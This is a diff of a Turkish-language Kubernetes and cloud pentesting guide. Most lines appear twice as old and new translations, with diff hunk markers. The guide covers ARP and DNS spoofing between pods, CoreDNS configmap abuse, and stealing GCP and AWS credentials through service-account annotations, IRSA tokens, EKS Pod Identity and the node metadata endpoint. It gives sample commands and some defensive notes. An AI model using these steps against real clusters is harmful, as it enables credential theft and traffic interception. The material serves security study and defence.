> Bunun gerçek bir clusterda çalıştığını varsaymadan önce aktif CNI ve DNS pathi doğrulayın. Bazı CNIlar aynı node trafiğini farklı şekilde route eder veya izole eder; NodeLocal DNSCache kullanan clusterlar ise pod DNS sorgularını CoreDNSe iletmeden önce node-local bir adrese gönderebilir. Bu ortamlarda DNS spoofing; pod yerleşimine, packet capabilitiesye, resolver configurationa, node-local cache davranışına ve uygulamaların peerleri TLS veya başka bir kimlik mekanizmasıyla doğrulayıp doğrulamadığına bağlıdır.
## Aynı Node içindeki podlarda ARP Spoofing
Amacımız, en azından ubuntu-victim ile mysql arasındaki iletişimi **steal** etmektir.
Amacımız **ubuntu-victim ile mysql arasındaki iletişimi** en azından **steal** etmektir.
### Scapy
```bash
@@ -236,11 +252,11 @@ arpspoof -t 172.17.0.9 172.17.0.10
```
## DNS Spoofing
Daha önce de belirtildiği gibi, **DNS server pod** ile aynı node üzerinde bir pod'u **compromise** ederseniz, **bridge** ve **DNS** pod arasında **ARPSpoofing** ile **MitM** yapabilir ve **tüm DNS responses**'ları **modify** edebilirsiniz.
Daha önce de belirtildiği gibi, eğer **DNS server podu ile aynı node indeki bir podu ele geçirirseniz**, **bridge** ve **DNS** podu arasında **ARPSpoofing** ile **MitM** yapabilir ve **tüm DNS responses**ları **modify** edebilirsiniz.
Bunu test etmek için gerçekten güzel bir **tool** ve **tutorial** var: [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
Bunu test etmek için gerçekten güzel bir **tool** ve **tutorial** şu adreste var: [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
Bizim senaryomuzda, **tool**'u attacker pod'a **download** edin ve **spoof** etmek istediğiniz **domains** ile `hosts` adlı bir **file** oluşturun, örneğin:
Bizim senaryomuzda, **tool**u attacker poduna **download** edin ve **spoof** etmek istediğiniz **domains** ile `hosts` adında bir **file** oluşturun:
```
cat hosts
google.com. 1.1.1.1
@@ -263,47 +279,47 @@ dig google.com
google.com. 1 IN A 1.1.1.1
```
> [!NOTE]
> Kendi DNS spoofing scriptinizi oluşturmaya çalışırsanız, eğer **sadece DNS response**unu değiştirirseniz bu **çalışmayacaktır**, çünkü **response** içinde **src IP** olarak **malicious** **pod**un IP adresi olacaktır ve bu **kabul edilmeyecektir**.\
> Kurbanın DNS request gönderdiği **DNS**in **src IP**si ile yeni bir **DNS packet** üretmeniz gerekir (bu genellikle 172.16.0.2 gibi bir şeydir, 10.96.0.10 değil; bu K8s DNS service IPsidir ve DNS server ip değildir, bunun hakkında giriş bölümünde daha fazla bilgi var).
> Kendi DNS spoofing scriptinizi oluşturmaya çalışırsanız, eğer **sadece DNS response**unu değiştirirseniz bu **çalışmayacak**, çünkü **response** **src IP** olarak **malicious** **pod**un IP addressine sahip olacak ve **kabul edilmeyecek**.\
> **src IP**si kurbanın DNS request gönderdiği **DNS**in olduğu bir **yeni DNS packet** oluşturmanız gerekiyor (bu, 172.16.0.2 gibi bir şeydir, 10.96.0.10 değil; bu K8s DNS service IPsidir ve DNS server ipsi değildir, bunun hakkında giriş bölümünde daha fazla bilgi var).
## coreDNS configmap ile DNS Spoofing
## coreDNS configmap üzerinden DNS Spoofing
`kube-system` namespaceindeki `coredns` configmapi üzerinde yazma yetkisi olan bir kullanıcı, cluster’ın DNS responseslarını değiştirebilir.
`kube-system` namespaceindeki `coredns` configmapi üzerinde write permissions sahibi olan bir user, cluster’ın DNS responseslarını modify edebilir.
Ayrıca, deployed ise NodeLocal DNSCachei de inceleyin. Genellikle hostNetwork DaemonSet olarak çalışır ve kendi ConfigMapi, logs, cachei ve forwarding pathi vardır. Bir CoreDNS değişikliği DNS davranışının etkilenebileceği veya gözlemlenebileceği tek yer olmayabilir.
Ayrıca, deployed ise NodeLocal DNSCachei de review edin. Genellikle hostNetwork DaemonSet olarak çalışır ve kendi ConfigMapi, logsu, cachei ve forwarding pathi vardır. Bir CoreDNS changei DNS behaviorının etkilenebileceği veya gözlemlenebileceği tek yer olmayabilir.
Bu attack hakkında daha fazla bilgiyi burada kontrol edin:
Bu attack hakkında daha fazla bilgi için şuraya bakın:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/README.md
{{/ref}}
## Açıkta olan kubernetes management serviceslerini kötüye kullanma
## Exposed kubernetes management servicesleri abuse etmek
Apache NiFi, Kubeflow, Argo Workflows, Weave Scope ve Kubernetes dashboard gibi Servicesler çoğu zaman ya internete ya da kubernetes network’üne açık olur. **Kubernetesi yönetmek için kullanılan herhangi bir platformu bulmayı ve ona erişmeyi başarabilen** bir attacker, bunu kubernetes APIye erişmek ve yeni pods oluşturmak, mevcut olanları değiştirmek veya hatta onları silmek gibi işlemler yapmak için kötüye kullanabilir.
Apache NiFi, Kubeflow, Argo Workflows, Weave Scope ve Kubernetes dashboard gibi Services çoğu zaman ya internete ya da kubernetes network’üne exposed edilir. **Kubernetesi manage etmek için kullanılan herhangi bir platformu bulmayı ve ona access etmeyi başaran** bir attacker, bunu abuse ederek kubernetes APIye access elde edebilir ve yeni pods oluşturmak, mevcut olanları modify etmek veya hatta onları delete etmek gibi actions gerçekleştirebilir.
## kubernetes network policieslerini enumerate etme
## kubernetes network policiesyi enumerate etmek
Yapılandırılmış **networkpolicies**leri alın:
Configüre edilmiş **networkpolicies**leri alın:
```bash
kubectl get networkpolicies --all-namespaces
```
Callico network policylerini al:
Get **Callico** network policies:
```bash
kubectl get globalnetworkpolicy --all-namespaces
```
**Cillium** network policy'lerini al:
**Cillium** network policies:
```bash
kubectl get ciliumnetworkpolicy --all-namespaces
```
Ağ eklentiniz veya security solutionınız tarafından yüklenen diğer policy-related CRDleri alın:
Ağ eklentiniz veya security solution'ınız tarafından kurulmuş diğer policy-related CRD'leri alın:
```bash
kubectl get crd | grep -i policy
```
## Trafiği Yakalama
## Trafik Yakalama
[**Mizu**](https://github.com/up9inc/mizu) aracı, Kubernetes için basit ama güçlü bir API **traffic viewer**'dır; microservices arasındaki tüm API communication'ı **görmenizi** sağlayarak debug ve regression sorunlarını gidermenize yardımcı olur.\
Seçilen pods içine agents kurar ve traffic bilgilerini toplar, ardından bunları bir web server üzerinde gösterir. Ancak bunun için yüksek K8s permissions gerekir (ve pek stealthy değildir).
[**Mizu**](https://github.com/up9inc/mizu) aracı, **Kubernetes için** basit ama güçlü bir API **traffic viewer**'dır ve **microservices** arasındaki tüm API iletişimini **görmenizi** sağlayarak debug ve regression sorunlarını gidermenize yardımcı olur.\
Seçilen pods içine agent'ler kurar, onların trafik bilgilerini toplar ve bunları bir web server'da gösterir. Ancak bunun için yüksek K8s permissions gerekir (ve pek stealthy değildir).
## References
@@ -4,62 +4,62 @@
## GCP
Eğer GCP içinde bir k8s cluster çalıştırıyorsanız, cluster içindeki bir uygulamanın GCPye bir miktar erişimi olmasını isteyebilirsiniz. Bunu yapmanın 2 yaygın yolu vardır:
Eğer GCP içinde bir k8s cluster çalıştırıyorsanız, cluster içindeki bazı applicationların GCPye erişimi olmasını isteyebilirsiniz. Bunu yapmanın 2 yaygın yolu vardır:
### Mounting GCP-SA keys as secret
### GCP-SA keysi secret olarak mount etmek
**GCPye bir kubernetes application için access** vermenin yaygın bir yolu şudur:
**Bir kubernetes applicationa GCP erişimi** vermenin yaygın bir yolu şudur:
- Bir GCP Service Account oluşturun
- Gerekli permissionsları ona bind edin
- İstenen permissionsları ona bağlayın
- Oluşturulan SAnın bir json keyini indirin
- Bunu pod içinde bir secret olarak mount edin
- GOOGLE_APPLICATION_CREDENTIALS environment variable’ını jsonun bulunduğu pathe işaret edecek şekilde ayarlayın
- GOOGLE_APPLICATION_CREDENTIALS environment variable’ını jsonun bulunduğu pathi gösterecek şekilde ayarlayın
> [!WARNING]
> Bu nedenle, bir **attacker** olarak bir pod içindeki container’ı compromise ederseniz, bu **env** **variable** ve GCP credentials içeren **json** **files** için kontrol etmelisiniz.
> Bu nedenle, bir **attacker** olarak, bir pod içindeki container’ı compromise ederseniz, bu **env** **variable** ve GCP credentials içeren **json** **files** için kontrol etmelisiniz.
### Relating GSA json to KSA secret
### GSA jsonu KSA secret ile ilişkilendirmek
Bir GKE clusera bir GSA için access vermenin bir yolu, onları şu şekilde bind etmektir:
Bir GSAya GKE cluster içinde erişim vermenin bir yolu, onları şu şekilde binding yapmaktır:
- Aşağıdaki komutu kullanarak GKE cluster’ınızla aynı namespace içinde bir Kubernetes service account oluşturun:
- Aşağıdaki commandi kullanarak GKE cluster’ınızla aynı namespace içinde bir Kubernetes service account oluşturun:
```bash
kubectl create serviceaccount <service-account-name>
```
- GKE kümesine erişim vermek istediğiniz GCP service account kimlik bilgilerini içeren bir Kubernetes Secret oluşturun. Bunu, aşağıdaki örnekte gösterildiği gibi `gcloud` komut satırı aracıyla yapabilirsiniz:
- GKE cluster'a access vermek istediğiniz GCP service account kimlik bilgilerini içeren bir Kubernetes Secret oluşturun. Bunu, aşağıdaki örnekte gösterildiği gibi `gcloud` command-line tool kullanarak yapabilirsiniz:
```bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
```
- Aşağıdaki komutu kullanarak Kubernetes Secret'i Kubernetes service account'a bağlayın:
- Aşağıdaki komutu kullanarak Kubernetes Secret’ını Kubernetes service accounta bağlayın:
```bash
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> **İkinci adımda** **GSAnın credentialsları KSAnın secret’ı olarak** ayarlandı. O zaman, **GKE** cluster’ı **içinden** bu **secret’ı okuyabiliyorsan**, o **GCP service account**a **escalate** edebilirsin.
> **İkinci adımda** **GSAnın credentials’ı KSAnın secret’ı** olarak ayarlandı. O halde, **GKE** cluster’ının **içinden** bu **secret**’ı **okuyabilirsen**, o **GCP service account**a **escalate** edebilirsin.
### GKE Workload Identity
Workload Identity ile, bir[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/)u bir[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts) gibi davranacak şekilde configure edebiliriz. Kubernetes service account ile çalışan Pods, Google Cloud APIslerine erişirken otomatik olarak Google service account olarak authenticate olur.
Bu davranışı enable etmek için **ilk adım serisi**, **GCPde Workload Identityyi enable etmek** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) ve k8snin impersonate etmesini istediğin GCP SAyı oluşturmaktır.
Bu davranışı enable etmek için **ilk adım serisi**, GCPde **Workload Identityyi enable etmek**tir ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) ve k8sin impersonate etmesini istediğin GCP SAyı oluşturmaktır.
- Yeni bir cluster üzerinde **Enable Workload Identity**
- Yeni bir clusterda **Workload Identityyi enable et**
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **Yeni bir nodepool oluştur/Güncelle** (Autopilot cluster'larının buna ihtiyacı yok)
- **Yeni bir nodepool oluştur/Güncelle** (Autopilot cluster'lar buna ihtiyaç duymaz)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- GCP izinleri olan K8s içinden **taklit edilecek GCP Service Account** oluşturun:
- K8s içinden GCP permissions ile **GCP Service Account to impersonate** oluşturun:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
@@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **Cluster**a **bağlan** ve kullanılacak **service account**u **oluştur**
- **cluster** ile **bağlanın** ve kullanılacak **service account**'u **oluşturun**
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
@@ -80,7 +80,7 @@ kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **GSA ile KSAyı bağla**
- **GSA ile KSAyı bind et**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
@@ -92,7 +92,7 @@ kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- Bir **pod** çalıştırın **KSA** ile ve **GSA**'ya **access** olup olmadığını kontrol edin:
- **KSA** ile bir **pod** çalıştırın ve **GSA**'ya **access** kontrol edin:
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
@@ -118,15 +118,15 @@ kubectl exec -it workload-identity-test \
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
Gerekirse kimlik doğrulama yapmak için şu komutu kontrol edin:
Gerekirse kimlik doğrulama için şu komutu kontrol edin:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> K8s içinde bir saldırgan olarak **SAs** için **`iam.gke.io/gcp-service-account` annotation** ile **arama yapmalısınız**, çünkü bu SA'nın GCP içinde bir şeye erişebildiğini gösterir. Bir başka seçenek de cluster içindeki her KSAyı kötüye kullanmayı denemek ve erişimi olup olmadığını kontrol etmektir.\
> GCP tarafında bindingleri enumerate etmek ve **Kubernetes içindeki SAse hangi access verildiğini** bilmek her zaman ilginçtir.
> K8s içinde bir attacker olarak, **`iam.gke.io/gcp-service-account` annotation**’ına sahip **SAs** aramalısınız; çünkü bu, SAnın GCP içinde bir şeye erişebildiğini gösterir. Başka bir seçenek de cluster içindeki her KSAyı abuse etmeye çalışıp erişimi olup olmadığını kontrol etmektir.\
> GCP tarafında, bindingsi enumerate etmek ve Kubernetes içindeki SAse **hangi access** verdiğinizi bilmek her zaman ilginçtir.
Bu, tüm **pod** tanımlarını **kolayca taramak** ve o **annotation** için **bakmak** amacıyla kullanılan bir scripttir:
Bu, tüm pod definitions üzerinde kolayca **iterate** edip bu **annotation**’ı **looking** için bir script:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account"
### Kiam & Kube2IAM (Pods için IAM role) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
Pods'a IAM Role vermenin (eski) bir yolu, bir [**Kiam**](https://github.com/uswitch/kiam) veya [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** kullanmaktır. Temelde, cluster'ınızda **kind of privileged IAM role** ile bir **daemonset** çalıştırmanız gerekir. Bu daemonset, buna ihtiyaç duyan pods'a IAM roles erişimi verecek olan şeydir.
Podse IAM Roles vermenin (güncel olmayan) bir yolu, bir [**Kiam**](https://github.com/uswitch/kiam) veya bir [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** kullanmaktır. Temel olarak, clusterınızda **kind of privileged IAM role** ile bir **daemonset** çalıştırmanız gerekir. Bu daemonset, buna ihtiyaç duyan podlara IAM roles erişimi veren bileşen olacaktır.
İlk olarak, **namespace** içinde hangi roles erişilebileceğini yapılandırmanız gerekir ve bunu namespace object içinde bir annotation ile yaparsınız:
Öncelikle, **namespace içinde hangi roles erişilebileceğini** yapılandırmanız gerekir ve bunu namespace object içindeki bir annotation ile yaparsınız:
```yaml:Kiam
kind: Namespace
metadata:
@@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Namespace IAM rollerinin Podlara sahip olabilmesi için yapılandırıldıktan sonra, her pod tanımında istediğiniz roleu **şuna benzer bir şeyle belirtebilirsiniz**:
Namespace IAM roller ile yapılandırıldıktan sonra, Pods'ların sahip olabileceği rolleri her pod tanımında **şuna benzer bir şeyle istediğin rolü belirtebilirsin**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
@@ -171,12 +171,12 @@ annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> Bir attacker olarak, eğer pod'larda veya namespace'lerde ya da çalışan bir kiam/kube2iam server'ında (muhtemelen kube-system içinde) bu annotations'ları **bulursanız**, pod'lar tarafından zaten **kullanılan** her r**ole** ve daha fazlasına **impersonate** edebilirsiniz (AWS account'a erişiminiz varsa role'ları enumerate edin).
> Bir attacker olarak, pod'larda veya namespace'lerde ya da çalışan bir kiam/kube2iam server'da (muhtemelen kube-system içinde) bu annotations'ları **bulursanız**, pod'lar tarafından zaten **kullanılan** her r**ole** ve daha fazlasını **impersonate** edebilirsiniz (AWS account'a erişiminiz varsa role'ları enumerate edin).
#### IAM Role ile Pod Oluşturma
> [!NOTE]
> Belirtilmesi gereken IAM role, kiam/kube2iam role ile aynı AWS account içinde olmalı ve bu role ona erişebilmeli.
> Belirtilecek IAM role, kiam/kube2iam role ile aynı AWS account içinde olmalı ve bu role ona erişebilmelidir.
```yaml
echo 'apiVersion: v1
kind: Pod
@@ -192,14 +192,14 @@ image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### OIDC ile K8s Service Accounts için IAM Role <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
### OIDC aracılığıyla K8s Service Accounts için IAM Role <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>
Bu, **AWS tarafından önerilen yöntemdir**.
1. İlk olarak cluster için bir [OIDC provider oluşturmanız](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html) gerekir.
2. Ardından SAnın ihtiyaç duyacağı permissions ile bir IAM role oluşturursunuz.
3. IAM role ile SA adı arasında bir [trust relationship oluşturun](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (veya role erişim veren namespaceleri, namespace içindeki tüm SAlar için). _Trust relationship esas olarak OIDC provider adını, namespace adını ve SA adını kontrol eder_.
4. Son olarak, **role ARNsini belirten bir annotation ile bir SA oluşturun** ve o SA ile çalışan podlar **role tokenına erişebilir**. **Token**, bir dosyanın içine **yazılır** ve path **`AWS_WEB_IDENTITY_TOKEN_FILE`** içinde belirtilir (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
1. İlk olarak [cluster için bir OIDC provider oluşturmanız](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html) gerekir.
2. Sonra SA'nın gerektireceği permissions ile bir IAM role oluşturursunuz.
3. IAM role ile SA adı arasında (veya namespace içindeki tüm SA'lara role erişimi veren namespace'ler arasında) bir [trust relationship oluşturun](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html). _Trust relationship esas olarak OIDC provider adını, namespace adını ve SA adını kontrol edecektir_.
4. Son olarak, **role ARN'sini belirten bir annotation ile bir SA oluşturun**, ve o SA ile çalışan pod'lar **role token'ına erişim** sahibi olacaktır. **Token**, bir dosya içine **yazılır** ve path **`AWS_WEB_IDENTITY_TOKEN_FILE`** içinde belirtilir (varsayılan: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
@@ -216,27 +216,70 @@ kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
`/var/run/secrets/eks.amazonaws.com/serviceaccount/token` içindeki token ile **aws almak** için şunu çalıştırın:
Token'ı `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` içinden kullanarak **aws'ı elde etmek** için şunu çalıştırın:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> Bir attacker olarak, bir K8s clusterını enumerate edebiliyorsan, **AWSye escalate etmek** için **bu annotationa sahip service accounts**ları kontrol et. Bunu yapmak için, IAM **privileged service accounts**lardan birini kullanarak bir **pod** **exec/create** et ve tokenı çal.
> Bir saldırgan olarak, bir K8s cluster'ını enumerate edebiliyorsan, **AWS'ye escalate etmek** için **o annotation'a sahip service accounts** kontrol et. Bunu yapmak için, IAM **privileged service accounts**'lardan birini kullanarak bir **pod** içinde **exec/create** yap ve token'ı çal.
>
> Ayrıca, bir pod içindeysen, **AWS_ROLE_ARN** ve **AWS_WEB_IDENTITY_TOKEN** gibi env variablesları kontrol et.
> Ayrıca, bir pod içindeysen, **AWS_ROLE_ARN** ve **AWS_WEB_IDENTITY_TOKEN** gibi env variables'ları kontrol et.
> [!CAUTION]
> Bazen bir roleun **Turst Policy**si **kötü configure edilmiş** olabilir ve beklenen service accounta AssumeRole access vermek yerine, bunu **tüm service accounts**lara verir. Bu nedenle, kontrol bir service account üzerinde bir annotation yazabiliyorsan, rolea access edebilirsin.
> Bazen bir role'un **Turst Policy**'si **kötü yapılandırılmış** olabilir ve beklenen service account'a AssumeRole access vermek yerine bunu **tüm service accounts**'lara verir. Bu nedenle, kontrol edilen bir service account üzerinde bir annotation yazabiliyorsan, role'a access edebilirsin.
>
> Daha fazla bilgi için **following page**i kontrol et:
> **Daha fazla bilgi için following page'i kontrol et:**
{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
### Clusterda IAM Rolesa sahip Podları ve SAsları bul
### EKS Pod Identity
Bu, bu **annotation**’ı **looking** ederek tüm podlar ve sas definitionları üzerinde kolayca **iterate over** etmek için bir scripttir:
EKS Pod Identity, her workload'un IRSA web identity token ile STS çağırmasına güvenmeden bir IAM role'unu bir Kubernetes service account ile ilişkilendirmenin AWS-managed daha yeni yoludur. Cluster, node'larda EKS Pod Identity Agent çalıştırır, EKS API pod identity associations'ları saklar ve seçili pod'lardaki AWS SDK'ler, agent tarafından sunulan container credentials provider path üzerinden credentials elde eder.
Kubernetes açısından, ilginç evidence hala service account ve pod ilişkisidir, ancak runtime signals IRSA'dan farklıdır. Sadece `AWS_WEB_IDENTITY_TOKEN_FILE` yerine pod'larda AWS container credential env variables'larını ara:
```bash
kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE'
kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn'
kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity'
```
AWSden, associationsu enumerate edin ve ardından bunları Kubernetes namespaces ve service accounts ile eşleştirin:
```bash
aws eks list-pod-identity-associations --cluster-name <cluster>
aws eks describe-pod-identity-association \
--cluster-name <cluster> \
--association-id <association-id>
```
İlişkili bir pod içinde, ana runtime göstergeleri EKS tarafından enjekte edilen container credentials provider değişkenleridir:
```bash
env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)='
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null
aws sts get-caller-identity
```
Yerel credential endpoint genellikle `http://169.254.170.23/v1/credentials` olur ve authorization token, `pods.eks.amazonaws.com` audience için projected bir service account tokendır. AWS SDK credential-provider sırasının hâlâ geçerli olduğunu unutmayın: eğer static environment credentials veya shared credential files chainde daha önce yapılandırılmışsa, pod Pod Identity association yerine bunları kullanabilir.
Pod Identity roleları normalde `sts:AssumeRole` ve `sts:TagSession` için `pods.eks.amazonaws.com` service principal’ına trust eder. `kubernetes-namespace`, `kubernetes-service-account` ve cluster tagleri gibi request taglerdeki trust-policy conditions’ı gözden geçirin, çünkü geniş conditions yeniden kullanılabilir bir roleu çok fazla service account için erişilebilir hale getirebilir. Pod Identity ayrıca temporary credentialsa session tags ekler ve bu tags, `${aws:PrincipalTag/kubernetes-namespace}` veya `${aws:PrincipalTag/kubernetes-service-account}` gibi resource accesse dayalı ABAC policiesi yönlendirebilir.
Cross-account access için bir Pod Identity association, hedef accounttaki bir target rolea chain eden aynı account içi bir role kullanabilir. Bu durumda her iki katmanı da inceleyin: EKS association role ve target role trust/policy. Pod Identity session tags role chain boyunca transitivedir, bu yüzden hangi cluster namespace ve service accountun remote accounta eriştiğini kanıtlamak için yararlı kanıtlardır.
> [!WARNING]
> Eğer EKS Pod Identity associationa sahip bir service account kullanan podlar oluşturabiliyor veya değiştirebiliyorsanız, o podun yararlı AWS permissions alıp almadığını test edin. Savunma yapıyorsanız, yeni pod identity associationlar, beklenmeyen service account kullanımı ve yalnızca belirli workloads tarafından kullanılması gereken rolelardan gelen AWS API calls için alert üretin.
### EKS governance guardrails
EKSi AWS tarafından incelerken, IAM ve AWS Organizations guardrails’ın, bir principal geniş görünen EKS permissionsa sahip olsa bile güvensiz cluster yapılandırmasını engelleyebileceğini unutmayın. Son EKS condition keys, public veya private endpoint access, Kubernetes version, secrets-encryption KMS keys, deletion protection, control-plane scaling tier ve zonal shift configuration gibi cluster ayarlarını kapsar. Bu keys, account genelinde cluster baselines uygulamak için IAM policies veya Service Control Policies içinde kullanılabilir.
Bu, hem attack impact hem de triage için önemlidir. Bir principal `eks:UpdateClusterConfig` çağırabiliyor ama bir SCP `eks:endpointPublicAccess` üzerinden public endpoint etkinleştirilmesini engelliyorsa, public API exposure olduğunu iddia etmek yerine denenen riskli action’ı ve onu engelleyen guardrail’ı rapor edin. Savunucular için, başarılı değişikliklerin yanı sıra reddedilen EKS configuration değişiklikleri için de alert üretin; çünkü reddedilen denemeler compromised automation, eski admin rolelar veya daha az korunan bir accounta pivot öncesi reconnaissanceu ortaya çıkarabilir.
Yararlı referanslar:
- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html)
- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html)
### Cluster içinde IAM Roles ile Podları ve SAsi Bul
Bu, tüm podlar ve saler üzerinde kolayca **iterate etmek** ve şu **annotation** için **bakmak** amacıyla kullanılan bir scripttir:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
@@ -255,26 +298,26 @@ done | grep -B 1 "amazonaws.com"
```
### Node IAM Role to cluster-admin
Önceki bölüm, pod'larla IAM Roles nasıl çalınır hakkındaydı; ancak unutmayın ki K8s cluster’ındaki bir **Node**, cloud içinde bir **instance** olacaktır. Bu da Nodeun büyük ihtimalle **çalabileceğiniz bir IAM role** sahip olacağı anlamına gelir (_not: genelde bir K8s cluster’ındaki tüm nodelar aynı IAM role sahip olur, bu yüzden her nodeu tek tek kontrol etmeye çalışmak buna değmeyebilir_).
Önceki bölüm, pods ile IAM Roles nasıl çalınacağından bahsediyordu; ancak bir **K8s cluster’ındaki Nodeun** bir **cloud içindeki instance** olacağını unutmayın. Bu da Nodeun büyük olasılıkla **çalabileceğiniz bir IAM role** sahip olacağı anlamına gelir (_not: genellikle bir K8s cluster’ındaki tüm nodelar aynı IAM rolea sahip olur, bu yüzden her nodeu tek tek kontrol etmeye çalışmak buna değmeyebilir_).
Node metadata endpointine erişmek için şunlardan biri gerekir:
- Bir pod içinde olmak ve metadata endpointin en az 2 tcp hop olacak şekilde yapılandırılmış olması. Bu, en yaygın yanlış yapılandırmadır; çünkü genellikle clusterdaki farklı podların metadata endpointine erişmesi gerekir, aksi halde bozulurlar ve birçok şirket, clusterdaki tüm podlara metadata endpoint erişimine izin vermeyi tercih eder.
Node metadata endpointine erişmek için şunlar gerekir:
- Bir pod içinde olmak ve metadata endpointin en az 2 tcp hop olacak şekilde yapılandırılmış olması. Bu en yaygın yanlış yapılandırmadır; çünkü genellikle clusterdaki farklı podlar bozulmamak için metadata endpointe erişim gerektirir ve birçok şirket metadata endpoint erişimine clusterdaki tüm podlardan izin vermeyi seçer.
- `hostNetwork` etkin bir pod içinde olmak.
- Nodea escape etmek ve metadata endpointine doğrudan erişmek.
- Nodea escape edip metadata endpointe doğrudan erişmek.
(metadata endpoint her zaman olduğu gibi 169.254.169.254 adresindedir).
(Bu metadata endpointin her zamanki gibi 169.254.169.254 adresinde olduğunu unutmayın).
Daha yeni EKS ortamlarında, podların node instance profilea ulaşabildiğini varsaymadan önce node ve cluster modeu doğrulayın. Amazon Linux 2023 EKS optimized AMIs, IMDS hop limiti varsayılan olarak 1e ayarlar ve EKS Auto Mode varsayılan olarak `disablePodIMDS`yi etkinleştirir; bu yüzden operator bu ayarları değiştirmediyse veya podun `hostNetwork` ya da node compromise gibi başka bir node-level yolu yoksa, sıradan podlar node-role credentials almamalıdır. Önerilen yaklaşım, pod erişimini node IMDSye engellemek ve workload AWS permissions için IRSA veya EKS Pod Identity kullanmaktır.
Daha yeni EKS ortamlarında, podların node instance profilea ulaşabildiğini varsaymadan önce node ve cluster modeu doğrulayın. Amazon Linux 2023 EKS optimized AMIs, IMDS hop limiti varsayılan olarak 1e ayarlar ve EKS Auto Mode, `disablePodIMDS` ayarını varsayılan olarak etkinleştirir; bu nedenle operatör bu ayarları değiştirmediyse veya podun `hostNetwork` ya da node compromise gibi başka bir node-level yolu yoksa, normal podlar node-role credentials almamalıdır. Önerilen yöntem, pod erişimini node IMDSye kapatmak ve workload AWS permissions için IRSA veya EKS Pod Identity kullanmaktır.
